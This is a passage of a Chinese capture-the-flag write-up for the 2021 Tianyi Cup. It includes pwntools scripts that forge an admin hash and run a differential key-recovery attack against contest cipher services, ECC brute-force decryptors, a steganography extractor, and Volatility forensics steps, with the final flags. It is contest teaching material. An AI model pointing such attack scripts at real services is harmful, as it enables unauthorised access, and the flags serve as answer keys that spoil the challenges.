                    for d in table:
                        s = (a + b + c + d).encode() + end.encode()
                        if sha256(s).hexdigest() == sha:
                            return a + b + c + d

    def myhash(msg, identification):
        delta = 0x9E3779B9
        v0, v1 = map(uint32, unpack('>2I', msg))
        k0, k1, k2, k3 = map(uint32, unpack('>4I', identification))
        sm, delta = uint32(0), uint32(delta)
        for i in range(32):
            sm.value += delta.value
            v0.value += ((v1.value << 4) + k0.value) ^ (v1.value + sm.value) ^ ((v1.value >> 5) + k1.value)
            v1.value += ((v0.value << 4) + k2.value) ^ (v0.value + sm.value) ^ ((v0.value >> 5) + k3.value)
        return pack('>2I', v0.value, v1.value)

    def decrypt(msg, identification):
        delta = c_int32(0xc6ef3720)
        v0, v1 = map(uint32, unpack('>2I', msg))
        k0, k1, k2, k3 = map(uint32, unpack('>4I', identification))
        for i in range(32):
            v1.value -= ((v0.value << 4) + k2.value) ^ (v0.value + delta.value) ^ ((v0.value >> 5) + k3.value)
            v0.value -= ((v1.value << 4) + k0.value) ^ (v1.value + delta.value) ^ ((v1.value >> 5) + k1.value)
            delta.value -= 0x9E3779B9
        return pack('>2I', v0.value, v1.value)
    #https://www.icode9.com/content-1-1126418.html
    p=remote('8.134.37.86',24014)
    p.recvuntil(b'sha256(XXXX+')
    end=p.recv(16).decode()
    p.recvuntil(b' == ')
    sha=p.recvuntil('\n')[:-1].decode()
    xxxx=Pow(end,sha)
    p.recvuntil(b'Give me XXXX:')
    p.sendline(xxxx.encode())
    p.recvuntil(b'Choice:\n')
    p.sendline(b'0')
    p.recvuntil(b'I can hash for you')
    p.sendline(b'a'*16)
    userhash=p.recvuntil('\n')[:-1]
    adminpass = b'Iamthesuperadmin'
    nounce=decrypt(userhash,b'a'*16)
    hasher=myhash(nounce,adminpass)
    p.recvuntil(b'Choice:\n')
    p.sendline(b'1')
    p.recvuntil(b'Are you admin?')
    p.sendline(hasher)
    p.interactive()

    2.baby_Geometry 

    考察ecc加密,p选择的很小,可以直接枚举k获得私钥。

    2021第二届“天翼杯”网络安全攻防大赛 Writeup by X1cT34m-小绿草信息安全实验室

    提供了一个图片,发现是ECC算法,提供的阶数很小,可以直接爆破出密钥,解密脚本如下:

    msg=[ 

    [1872,4517], 

    [226,2], 

    [2267,970], 

    [6239,241], 

    [2859,3408], 

    [5000,774], 

    [1568,6031], 

    [2879,587], 

    [2579,2114], 

    [2267,970], 

    [1568,6031], 

    [2879,587], 

    [2267,970], 

    [4070,5982], 

    [5388,2334], 

    [5873,5782] 

     

    a = 1 

    b = 5 

    p = 6277 

    E = EllipticCurve(GF(p), [a,b]) 

    G = E([10,180]) 

    k=381 

    r=6 

    for i in range(len(msg)): 

    print(E(msg[i])-k*r*G))

    得到明文msg:

    转成文本

    或者
    p=6277
    a=1
    b=5
    E=EllipticCurve(GF(p),[a,b])
    G=E(10,180)
    K=E(5756,864)
    r=6
    for i in range(G.order()):
        if K==i*G:
            k=i
            break
    C2=r*G
    x=[1872,226,2267,6239,2859,5000,1568,2879,2579,2267,1568,2879,2267,4070,5488,5873]
    y=[4517,2,970,241,3408,774,6031,587,2114,970,6031,587,970,5982,2334,5782]
    m=""
    for i in range(16):
        C1=E(x[i],y[i])
        m+=chr((C1-k*C2)[0])
    print(m)
    print("flag{"+m+"}")

    得到最终flag:

    flag{GEoM3t2Yfo2YoUXD}

    4.Crypto_mycipher


    from hashlib import sha256 
    import random 
    from pwn import * 
    from pwnlib.util.iters import bruteforce 
    from struct import pack, unpack 
     
    def g(v1,v2,x): 
        value = (v1+v2+x)%256 
        value = ((value<<3) | (value>>5)) &0xff 
        return value 
     
    def f(value): 
        v1,v2 = unpack('>2B',pack('>H',value)) 
        v2 = g(v1,v2,1) 
        v1 = g(v1,v2,0) 
        value = unpack('>H',pack('>2B',v1,v2)) 
        return value[0] 
     
    def decrypt_ecb(cipher,key): 
        msg = '' 
        for i in range(0,len(cipher),4): 
            msg += decrypt(cipher[i:i+4],key) 
        return msg.strip('\x00')   
     
    def decrypt(msg,key): 
        subkeys = unpack('>4H',key) 
        left,right = unpack('>2H',msg) 
        left = right^left 
        for i in range(3): 
            left,right = right,left 
            left = left^f(subkeys[2-i]^right) 
        right = right^subkeys[3] 
        return pack('>2H', left, right) 
     
    def encrypt_ecb(msg,key): 
        l = len(msg) 
        if l%4 !=0: 
            msg = msg+'\x00'*(4-(l%4)) 
        cipher = '' 
        for i in range(0,len(msg),4): 
            cipher += encrypt(msg[i:i+4],key) 
        return cipher 
     
    def encrypt(msg,key): 
        subkeys = unpack('>4H',key) 
        left,right = unpack('>2H',msg) 
        right = right^subkeys[3] 
        for i in range(3): 
            tmp = left^f(subkeys[i]^right)  
            left = right 
            right = tmp 
        left = right^left 
        return pack('>2H', left, right) 
     
    def dfa_f(): 
        for i in range(1000): 
            input1 = random.randint(0,0xffff) 
            output1 = f(input1) 
            input2 = input1^0x8080 
            output2 = f(input2) 
     
            assert(output1^output2 == 0x400) 
     
    def genpayload1(num): 
        payload = '' 
        for i in range(num): 
            data1 = random.randint(0,0xffff) 
            data2 = random.randint(0,0xffff) 
            data2diff = data2^0x8080 
            payload += pack('>2H',data1,data2)  
            payload += pack('>2H',data1,data2diff)  
        return payload 
       
    def genpayload2(num): 
        payload = '' 
        for i in range(num): 
            data1 = random.randint(0,0xffff) 
            data2 = random.randint(0,0xffff) 
            data2diff = data2^0x400 
            payload += pack('>2H',data1,data2)  
            payload += pack('>2H',data1,data2diff)  
        return payload  
     
    def testkey_round3(pairs,key): 
        for pair in pairs: 
            output1 = pair[0] 
            output2 = pair[1] 
            output1_0,output1_1 = unpack('>2H',output1) 
            output2_0,output2_1 = unpack('>2H',output2) 
            f_out_diff = output1_1 ^ output2_1 ^0x400 
            f_in1 = key^output1_0^output1_1 
            f_in2  = key^output2_0^output2_1 
            if(f(f_in1)^f(f_in2)==f_out_diff): 
                continue 
            else: 
                return False 
        return True 
     
    def testkey_round2(pairs,key,r3key): 
        for pair in pairs: 
            output1 = pair[0] 
            output2 = pair[1] 
            output1_0,output1_1 = unpack('>2H',output1) 
            output2_0,output2_1 = unpack('>2H',output2) 
            output1_r3_1 = output1_0^output1_1  
            output2_r3_1 = output2_0^output2_1 
            f_out_diff  = output1_r3_1^output2_r3_1^0x400 
            f_in1 = key^output1_1^f(r3key^output1_r3_1)   
            f_in2  = key^output2_1^ f(r3key^output2_r3_1) 
            if(f(f_in1)^f(f_in2)==f_out_diff): 
                continue 
            else: 
                return False 
        return True 
     
    def attack_round1(msg,cipher,keys): 
        ciphers = [cipher[i:i+4] for i in range(0,len(cipher),4)] 
        msgs = [msg[i:i+4] for i in range(0,len(msg),4)] 
        c = ciphers[0] 
        m = msgs[0] 
        output0,output1 = unpack('>2H',c) 
        output0 = output0^output1 
        input0,input1 = unpack('>2H',m) 
        candkeys = [] 
        for key in keys: 
            r2k,r3k = key 
            output_r2_1 = output0 
            output_r2_0 = output1^f(r3k^output0) 
            output_r1_1 = output_r2_0  
            output_r1_0 = output_r2_1^f(r2k^output_r2_0) 
            k0 = output_r1_0^input1 
            for k in range(0x10000): 
                f_in = k^output_r1_0 
                f_out = output_r1_1^input0  
                if f(f_in) == f_out: 
                    candkeys.append([k,r2k,r3k,k0]) 
        return candkeys 
     
    def attack_round2(msg,cipher,keys): 
        ciphers = [cipher[i:i+4] for i in range(0,len(cipher),4)] 
        cipher_pairs = [(ciphers[i],ciphers[i+1]) for i in range(0,len(ciphers),2)] 
        candkeys = [] 
        for r3k in keys: 
            for key in range(0x10000): 
                if testkey_round2(cipher_pairs,key,r3k): 
                    candkeys.append([key,r3k]) 
        return candkeys 
     
    def attack_round3(msg,cipher): 
        ciphers = [cipher[i:i+4] for i in range(0,len(cipher),4)] 
        cipher_pairs = [(ciphers[i],ciphers[i+1]) for i in range(0,len(ciphers),2)] 
        candkeys = [] 
        for key in range(0x10000): 
            if testkey_round3(cipher_pairs,key): 
                candkeys.append(key) 
        return candkeys     
     
    def exploit(): 
        con = remote('127.0.0.1',10005) 
     
        context.log_level = 'debug' 
        con.recvuntil("XXXX+") 
        d = con.recvuntil(")")[:-1] 
        con.recvuntil(" == ") 
        target = con.recvline().strip() 
        ans = bruteforce(lambda x: sha256(x+d).hexdigest() == target,string.letters+string.digits,4) 
        con.sendlineafter("Give me XXXX",ans) 
        con.recvuntil('is:') 
        flag = con.recvline().strip() 
        payload = genpayload1(6)+genpayload2(6) 
        con.sendlineafter(':',payload) 
        cipher = con.recv(len(payload)) 
        cipher_round3 = cipher[:48] 
        msg_round3 = payload[:48] 
        possible_keys = attack_round3(msg_round3,cipher_round3) 
        print 'round3 keys maybe:', possible_keys 
        cipher_round2 = cipher[48:96] 
        msg_round2 = payload[48:96] 
        possible_keys = attack_round2(msg_round2,cipher_round2,possible_keys) 
        print 'round2 keys maybe:', possible_keys 
        possible_keys = attack_round1(msg_round2,cipher_round2,possible_keys) 
        print 'round1&0 keys maybe:',possible_keys 
        for key in possible_keys: 
            real_key = pack('>4H',*key) 
            print 'decrypt with key ',repr(real_key) 
            print repr(decrypt_ecb(flag,real_key)) 
        con.close() 
     
    def exploit_local(): 
        key = os.urandom(8) 
        print repr(key) 
        payload = genpayload1(6)+genpayload2(6) 
        cipher = encrypt_ecb(payload,key) 
        cipher_round3 = cipher[:48] 
        msg_round3 = payload[:48] 
        possible_keys = attack_round3(msg_round3,cipher_round3) 
        print 'round3 keys maybe:', possible_keys 
        cipher_round2 = cipher[48:96] 
        msg_round2 = payload[48:96] 
        possible_keys = attack_round2(msg_round2,cipher_round2,possible_keys) 
        print 'round2 keys maybe:', possible_keys 
        possible_keys = attack_round1(msg_round2,cipher_round2,possible_keys) 
        print 'round1&0 keys maybe:',possible_keys 
        flag = 'flag{test}' 
        flag = encrypt_ecb(flag,key) 
        print decrypt_ecb(flag,key) 
        for key in possible_keys: 
            real_key = pack('>4H',*key) 
            print 'decrypt with key ',repr(real_key) 
            print repr(decrypt_ecb(flag,real_key)) 
     
    exploit()   

    Misc

    1.Login签到

    签到就是加入QQ群,群公告里面有

    FLAG

    flag{e7gRR32wJJcHwQjwc2k9qFZ6fvn3gZ8P}

    2.baby_Geometry

    ECC

    参考

    https://blog.csdn.net/sitebus/article/details/82835492

    from sage.all import *

    a = 6277
    x = 1
    y = 5
    EC = EllipticCurve(Zmod(a), [x, y])
    G = EC(10, 180)
    P = EC(5756, 864)
    r = 6
    lists = [
    (1872, 4517),
    (226, 2),
    (2267, 970),
    (6239, 241),
    (2859, 3408),
    (5000, 774),
    (1568, 6031),
    (2879, 587),
    (2579, 2114),
    (2267, 970),
    (1568, 6031),
    (2879, 587),
    (2267, 970),
    (4070, 5982),
    (5488, 2334),
    (5873, 5782)
    ]
    m = []
    for c in lists:
    C = EC(c)
    M = C - r * P
    m.append(M[0])
    print("flag{" + bytearray(m).decode() + "}")

    3.rrrgggbbb

    RGB最低位隐写

    三个通道都隐藏了信息,直接stegsolve将其提取出来,发现三个文件头有相似结构,

    根据题目提示以及已有可见字符,可以推断组合方式就是r->g->b顺序按字节轮流填充即可

    r = open("r","rb").read()
    g = open("g","rb").read()
    b = open("b","rb").read()

    length = len(r)
    print(len(r),len(g),len(b))
    file = open("flag","wb+")
    for i in range(length):
    file.write(r[i].to_bytes(1,byteorder='little',signed=False))
    file.write(g[i].to_bytes(1,byteorder='little',signed=False))
    file.write(b[i].to_bytes(1,byteorder='little',signed=False))


    file.close()
    或者
    with open(r'f:\share\20210923\r.dat','rb') as f1:  
        data1=f1.read()[:202]  
    with open(r'f:\share\20210923\g.dat','rb') as f2:  
        data2=f2.read()[:202]  
    with open(r'f:\share\20210923\b.dat','rb') as f3:  
        data3=f3.read()[:202]  
    data=b''  
    for i in range(202):  
        data+=bytes([data1[i],data2[i],data3[i]])  
    print(data.hex())  

    发现是BPG格式文件,是一种特殊的图片,直接bpgview工具查看即可得到flag,工具链接

    https://bellard.org/bpg/bpg-0.9.8-win64.zip


    4.Browser

    imageinfo发现是win7

    提示默认浏览器

    参考

    https://blog.csdn.net/weixin_29811891/article/details/118350644

    提取第一部分

    volatility -f Browser.raw --profile=Win7SP0x86 printkey -K "SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice"

    得到MSEdgeHTM

    第二部分grep搜

    filescan | grep Edge

    得到版本号,92.0.902.78

    桌面存在浏览器备份文件

    dump后sqlite打开

    volatility -f Browser.raw --profile=Win7SP0x86 dumpfiles -Q 0x000000007d95f648 --dump-dir .

    找num_visits最多的,拼接

    MSEdgeHTM_92.0.902.78_https://weibo.com/login.php

    md5后即为flag

    或者

    .\volatility.exe -f .\Browser.raw --profile=Win7SP1x86_23418 printkey -K "Software\ Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice" 

    得到默认浏览器 MSEdgeHTM

    .\volatility.exe -f .\Browser.raw --profile=Win7SP1x86_23418 filescan 

    搜索 Edge\Application 得到版本号 92.0.902.78

    搜索 Web Database 文件并导出

    .\volatility.exe -f .\Browser.raw --profile=Win7SP1x86_23418 dumpfiles -Q 0x00000 0007d95f640 -D ./ 

    修改后缀为.db 用 SQLite Database Browser 直接打开

    得到浏览次数最多的网站

    https://weibo.com/login.php 

    组合再 md5 加密一下得到 flag

    MSEdgeHTM_92.0.902.78_https://weibo.com/login.php 
    flag{a7de3bb43d18196f4ca5570aa8755db9}
    或者
    先是拿到
    1.默认浏览器(请给出在注册表中可证明它是默认浏览器的对应的值,如:IE.HTTP)
    一般都在注册表,耐心翻翻
    ./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 hivelist
    ./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 hivelist -o 0x8f484880
    看到追加到注册表的地址

    然后去检索win7 的注册表
    ./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 dumpfiles -Q
    0x000000007da2abf0 -D ./

    下载下来导入navicat

    降序下然后就能看到
    https://weibo.com/login.php
    拼接
    MSEdgeHTM_92.0.902.78_https://weibo.com/login.php
    得到flag

    Re

    1.evvverse 

    IDA打开定位main函数

    发现程序先进行flag格式判断,然后RC4加密,后面又经过AES加密


    这里有误导,其实不是des

    动态调试获得key和iv,然后和固定字符串比较,因此对字符串先解AES,再解RC4即可得到正确的输入。

    模拟程序加密流程验证如下:





    参考链接:
    https://blog.csdn.net/qq_45603443/article/details/120475301?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-2.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-2.no_search_link

  • 相关阅读:
    爬取网易云音乐歌手和id
    【兼容调试】cffi library '_openssl' has no function, constant or global variable named 'Cryptography_HAS
    python如何去掉字符串‘xa0’
    python 中json和字符串互相转换
    vip视频播放
    一行Python代码画心型
    Java语言编写MD5加密方法,Jmeter如何给字符串MD5加密
    转载:oracle RAC集群启动和关闭
    转载:oracle 11g ADG实施手册(亲测,已成功部署多次)
    如何上传本地文件到github又如何删除自己的github仓库
  • 原文地址:https://www.cnblogs.com/backlion/p/15728150.html
Copyright © 2011-2022 走看看